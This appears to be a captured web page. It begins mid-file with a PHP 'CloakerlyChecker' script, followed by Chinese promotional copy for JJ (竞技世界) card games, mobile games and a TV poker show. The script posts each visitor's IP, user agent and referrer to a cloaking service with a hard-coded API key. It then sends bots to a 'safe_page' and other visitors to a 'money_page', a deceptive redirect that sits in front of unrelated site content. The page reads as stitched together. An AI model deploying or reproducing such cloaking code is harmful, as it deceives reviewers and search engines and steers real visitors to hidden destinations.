key = $key; } public function SetCampaign($campaign=null){ $this->campaign = $campaign; } public function SetStrictness($value = 0){ $this->strictness = $value; } public function PassUserAgent($value = false){ $this->user_agent = $value; } public function SetFailureRedirect($value = null){ $this->failure_redirect = $value; } public function SetSuccessRedirect($value = null){ $this->success_redirect = $value; } public function SetReferrer($value = null){ $this->referrer = $value; } public function Precheck(){ if($this->key === null){ throw new InvalidParameter("No key was passed. Aborting."); } if(!is_numeric($this->strictness)){ throw new InvalidParameter("Invalid strictness was passed. Aborting."); } if(!is_bool($this->user_agent)){ throw new InvalidParameter("Invalid pass user agent. Aborting."); } return true; } public function CheckIP($ip){ if($this->Precheck()){ $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, sprintf(static::BASE_API_URL, $this->key, urlencode($ip),$this->campaign)); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 5); $parameters = array("strictness" => $this->strictness); $parameters["current_url"] = $this->getCurrentURL(); if($this->user_agent && isset($_SERVER["HTTP_USER_AGENT"])){ $parameters["user_agent"] = $_SERVER["HTTP_USER_AGENT"]; } if($this->referrer){ $parameters["referrer"] = $this->referrer; } curl_setopt($curl, CURLOPT_POSTFIELDS, $parameters); $result = curl_exec($curl); $data = json_decode($result, true); curl_close($curl); if($data === false){ die(print_r($result, true)); } else { return $data; } } } function getCurrentURL(){ $pageURL = (isset( $_SERVER["HTTPS"] ) && $_SERVER["HTTPS"] == "on") ? "https://" : "http://"; if($_SERVER["SERVER_NAME"]!="" && $_SERVER["SERVER_NAME"]!="_"){ $pageURL .= $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; }else{ $pageURL .= $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; } return $pageURL; } public function ForceRedirect($type = "status"){ $result = $this->CheckIP($this->GetIP()); if(isset($result[$type])){ $this->SetFailureRedirect($result["safe_page"]); $this->SetSuccessRedirect($result["money_page"]); if($result["proxy_bot"] === true){ if($result["fr"] == 1){ exit(header(sprintf("Location: %s", $this->failure_redirect))); } return true; }else if($result[$type] === false){ if($this->failure_redirect !== null){ if(strpos($this->getCurrentURL(),$this->failure_redirect) !== FALSE){ return true; }else{ if($result["fr"] == 1){ exit(header(sprintf("Location: %s", $this->failure_redirect))); } } } else { exit; } } else { if($this->success_redirect !== null){ exit(header(sprintf("Location: %s", $this->success_redirect))); } } } else { if(isset($result["errors"])){ throw new CloakerlyException(implode(" - ", $result["errors"])); } throw new CloakerlyException("Force redirect check failed."); } } public static function GetIP() { $ipaddress = ""; if (getenv("HTTP_CLIENT_IP")) $ipaddress = getenv("HTTP_CLIENT_IP"); else if(getenv("HTTP_X_FORWARDED_FOR") && getenv("HTTP_X_FORWARDED_FOR")!=$_SERVER['SERVER_ADDR']) $ipaddress = getenv("HTTP_X_FORWARDED_FOR"); else if(getenv("HTTP_X_FORWARDED")) $ipaddress = getenv("HTTP_X_FORWARDED"); else if(getenv("HTTP_FORWARDED_FOR")) $ipaddress = getenv("HTTP_FORWARDED_FOR"); else if(getenv("HTTP_FORWARDED")) $ipaddress = getenv("HTTP_FORWARDED"); else if(getenv("REMOTE_ADDR")) $ipaddress = getenv("REMOTE_ADDR"); else $ipaddress = "UNKNOWN"; $ipaddress_pool = explode(",",$ipaddress); return trim($ipaddress_pool[0]); } } function PreventLoad(){ $check = new CloakerlyChecker(); $check->SetKey("CPLmDHIMiRXQvtyB8Jo3F46jkuOtxjgTcNZHQPTSdl2GfAmNxqR6wqFv43hV9aJU"); $check->SetCampaign("38244"); $check->SetStrictness("0"); $check->SetReferrer(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : "Direct"); $check->PassUserAgent(true); $check->ForceRedirect("status"); } PreventLoad(); ?>竞技世界 www.jj.cn
专业棋牌合集
JJ斗地主是全民娱乐的专业棋牌在线竞技平台,玩法多样,奖品给力,首创竞技比赛模式,拥有丰富专业赛事,公平竞技!
数亿玩家的口碑之选
数亿玩家都在畅玩的麻将合集!专业赛制+丰厚奖品,让你秀出牌技,好礼天天赢不停。海量赛事,真人对战,公平竞技,输赢全靠实力!
匠心设计 为你而生
还原经典中国象棋玩法,对局即开即战零等待。对决全国高手,挑战破解百种残局;实时观战大师对弈,快速提高棋艺。
超强福利 海量皮肤!
《曙光英雄》是竞技世界自主研发的一款5V5多人对战手游,游戏以正统MOBA对战为玩法,主打英雄创新与模式创新,精美皮肤与多重福利等你加入。
燃野青春 热血主场
《热血街篮》是一款自由竞技街篮手游,主打3v3竞技和球星养成,次世代3D卡通画风,真实的动作捕捉打造开放的街篮世界。
正版授权 三端互通
《王者之心2》是一款经典的三职业传奇游戏,正版授权,三端互通,爆率全开,无外挂,VIP上线就送,多年前的兄弟都回来了!
精品三国 国民大作
《三国群将传》是一款以三国历史为背景的卡牌策略手游,游戏内拥有大量三国时期著名的文臣武将陪您一起征战沙场。
原汁原味 三端互通
初心不改,经典重现,万人同屏,激情打斗,重温回忆,超高爆率,高度还原,怀旧巨作!
斗地主竞技发展十余年来,在中华大地上涌现了无数的斗地主高手,他们共同组成了这个融合了友情、拼搏和团结的斗地主竞技江湖。一起了解发生在这个江湖里的鲜活、生动,又极具魅力的故事,感受他们对棋牌竞技的热爱和对荣誉的不懈追求。
欢乐二打一
每日17:55 北京体育休闲频道
《欢乐二打一》节目由竞技世界提供技术支持联合北京广播电视台体育休闲频道推出,是北京地区第一档扑克益智竞技类节目。经过十年的不懈努力,近年稳居北京地区所有电视栏目收视率第一位。具有相当规模的受众群,节目美誉度和知名度均领跑北京地区,拥有超千万拥趸。
电视台icon
北京电视台
电视台icon
天津电视台
电视台icon
重庆电视台
电视台icon
山东电视台
电视台icon
黑龙江电视台
电视台icon
新疆电视台
电视台icon
广东电视台
二维码
微信公众号
二维码
官方微博